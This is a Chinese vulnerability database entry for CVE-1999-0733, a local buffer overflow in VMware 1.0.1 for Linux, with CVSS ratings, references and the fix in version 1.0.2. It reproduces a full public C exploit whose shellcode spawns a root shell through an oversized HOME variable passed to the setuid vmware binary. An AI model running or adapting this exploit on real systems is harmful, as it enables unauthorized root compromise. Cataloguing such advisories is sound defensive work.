CVE-1999-0733
CVSS7.2
发布时间 :1999-06-26 00:00:00
修订时间 :2008-09-09 08:35:18
NMCOE    

[原文]Buffer overflow in VMWare 1.0.1 for Linux via a long HOME environmental variable.


[CNNVD]Linux VMWare缓冲区溢出漏洞(CNNVD-199906-029)

        Linux的VMWare 1.0.1版本存在缓冲区溢出漏洞。可以借助一个长的HOME环境变量导致该漏洞。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0733
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0733
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199906-029
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/490
(UNKNOWN)  BID  490

- 漏洞信息

Linux VMWare缓冲区溢出漏洞
高危 缓冲区溢出
1999-06-26 00:00:00 2005-05-02 00:00:00
本地  
        Linux的VMWare 1.0.1版本存在缓冲区溢出漏洞。可以借助一个长的HOME环境变量导致该漏洞。

- 公告与补丁

        The problem was fixed in VMWare version 1.0.2 for linux. More information can be obtained at the following location:
        http://www.vmware.com/news/security.html

- 漏洞信息 (19371)

VMWare 1.0.1 Buffer Overflow Vulnerability (EDBID:19371)
linux local
1999-06-25 Verified
0 funkysh
N/A [点击下载]
source: http://www.securityfocus.com/bid/490/info


VMWare is virtual machine software produced by VMWare inc. VMWare version 1.0.1 for Linux is vulnerable to a buffer overflow attack. Since VMWare is installed with binaries that are setuid root, local users can exploit the hole allowing for arbitrary code to be executed as root. The consequences are a local root compromise. 

/* 
 * VMware v1.0.1 root sploit
 * funkySh 02/07/99
 * 
 * 1. Redhat 5.2     2.2.9 offset 800-1100
 * 2.                      offset 1600-2200
 * 1. Slackware 3.6  2.2.9 offset 0
 * 2.                      offset ?       
 *
 * [ 1 - started from xterm on localhost ]
 * [ 2 - started from telnet, with valid display ]
 */


#include <stdio.h> 

char code[] = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /*setuid(0) */
              "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
              "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
              "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

#define BUFFER 1032
#define NOP 0x90 
#define RET_ADDR 0xbfffdf50
#define PATH "/usr/local/bin/vmware"

char buf[BUFFER];

void main(int argc, char * argv[])
{
  int i, offset = 0;
  if(argc > 1) offset = atoi(argv[1]);

 memset(buf,NOP,BUFFER);
 memcpy(buf+800,code,strlen(code));
 for(i=854+2;i<BUFFER-2;i+=4)
   *(int *)&buf[i]=RET_ADDR+offset;

  setenv("HOME", buf, 1);
  execl(PATH,"vmware","-display","127.0.0.1:0",0);
  /* change IP if required */
}
		

- 漏洞信息

11287
VMware for Linux HOME Environment Variable Local Overflow
Local Access Required Input Manipulation
Loss of Integrity Upgrade
Exploit Public Coordinated Disclosure

- 漏洞描述

- 时间线

1999-06-26 Unknow
1999-07-02 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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